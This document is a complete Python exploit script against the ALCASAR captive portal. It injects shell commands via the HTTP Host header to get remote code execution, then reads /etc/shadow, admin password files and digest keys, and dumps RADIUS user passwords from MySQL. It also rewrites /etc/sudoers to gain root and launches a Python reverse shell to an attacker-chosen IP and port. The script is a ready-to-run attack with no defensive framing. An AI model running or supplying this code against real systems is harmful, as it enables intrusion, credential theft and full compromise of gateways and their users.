#!/usr/bin/env python
import sys, os, re, httplib
class PWN_Alcasar:
def __init__(self, host):
self.host = host
self.root = False
def exec_cmd(self, cmd, output=False):
tag = os.urandom(4).encode('hex')
cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
if self.root:
cmd = 'sudo %s' % cmd
headers = {
'host' : 'aAaAa index.php;echo %s;echo %s|base64 -d -w0|sh|base64 -w0;#' % (tag, cmd.encode('base64').replace('\n',''))
}
c = httplib.HTTPConnection(self.host)
c.request('GET', '/index.php', '', headers)
r = c.getresponse()
data = r.read()
c.close()
if data.find(tag) != -1:
m = re.search(r'%s, (.*)\s</div>' % tag, data)
if m:
data = m.group(1).decode('base64')
if output:
print data
return data
return None
def read_file(self, filepath, output=True):
return self.exec_cmd('sudo openssl base64 -in %s -A|base64 -d' % filepath, output=output)
def read_passwords(self):
self.read_file('/root/ALCASAR-passwords.txt')
self.read_file('/etc/shadow')
self.read_file('/usr/local/etc/digest/key_all')
self.read_file('/usr/local/etc/digest/key_admin')
self.read_file('/usr/local/etc/digest/key_backup')
self.read_file('/usr/local/etc/digest/key_manager')
self.read_file('/usr/local/etc/digest/key_only_admin')
self.read_file('/usr/local/etc/digest/key_only_backup')
self.read_file('/usr/local/etc/digest/key_only_manager')
alcasar_mysql = self.read_file('/usr/local/sbin/alcasar-mysql.sh', output=False)
if alcasar_mysql:
m = re.search(r'radiuspwd="(.*)"', alcasar_mysql)
if m:
radiuspwd = m.group(1)
sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
def edit_sudoers(self):
self.exec_cmd('sudo openssl base64 -in /etc/sudoers -out /tmp/sudoers.b64')
self.exec_cmd('openssl base64 -d -in /tmp/sudoers.b64 -out /tmp/sudoers')
self.exec_cmd('sed -i s/BL,NF/BL,ALL,NF/g /tmp/sudoers')
self.exec_cmd('sudo openssl base64 -in /tmp/sudoers -out /tmp/sudoers.b64')
self.exec_cmd('sudo openssl base64 -d -in /tmp/sudoers.b64 -out /etc/sudoers')
self.exec_cmd('sudo rm -f /tmp/sudoers*')
self.root = True
def reverse_shell(self, rip, rport='80'):
payload = 'import socket,subprocess,os;'
payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
payload += 's.connect((\'%s\',%s));' % (rip, rport)
payload += 'os.dup2(s.fileno(),0);'
payload += 'os.dup2(s.fileno(),1);'
payload += 'os.dup2(s.fileno(),2);'
payload += 'p=subprocess.call([\'/bin/sh\',\'-i\']);'
return self.exec_cmd('python -c "%s"' % payload)
def usage():
print 'Usage: %s host command (ip) (port)' % sys.argv[0]
print ' "command" can be a shell command or "reverseshell"'
sys.exit(0)
if __name__ == '__main__':
if len(sys.argv) < 3:
usage()
cmd = sys.argv[2]
if cmd == 'reverseshell':
if len(sys.argv) < 5:
print '[!] Need IP and port for the reverse shell...'
sys.exit(0)
rip = sys.argv[3]
rport = sys.argv[4] # 80 is a good one...
exploit = PWN_Alcasar(sys.argv[1])
print '[+] Hello, first here are some passwords for you:'
exploit.read_passwords()
print '[-] whoami (should be apache):'
exploit.exec_cmd('id', output=True)
print '[+] On the way to the uid 0...'
exploit.edit_sudoers()
print '[-] Got root?'
exploit.exec_cmd('id', output=True)
if cmd == 'reverseshell':
print '[+] You should now have a shell on %s:%s' % (rip, rport)
exploit.reverse_shell(rip, rport)
else:
print '[+] Your command Sir:'
exploit.exec_cmd(cmd, output=True)
sys.exit(1)
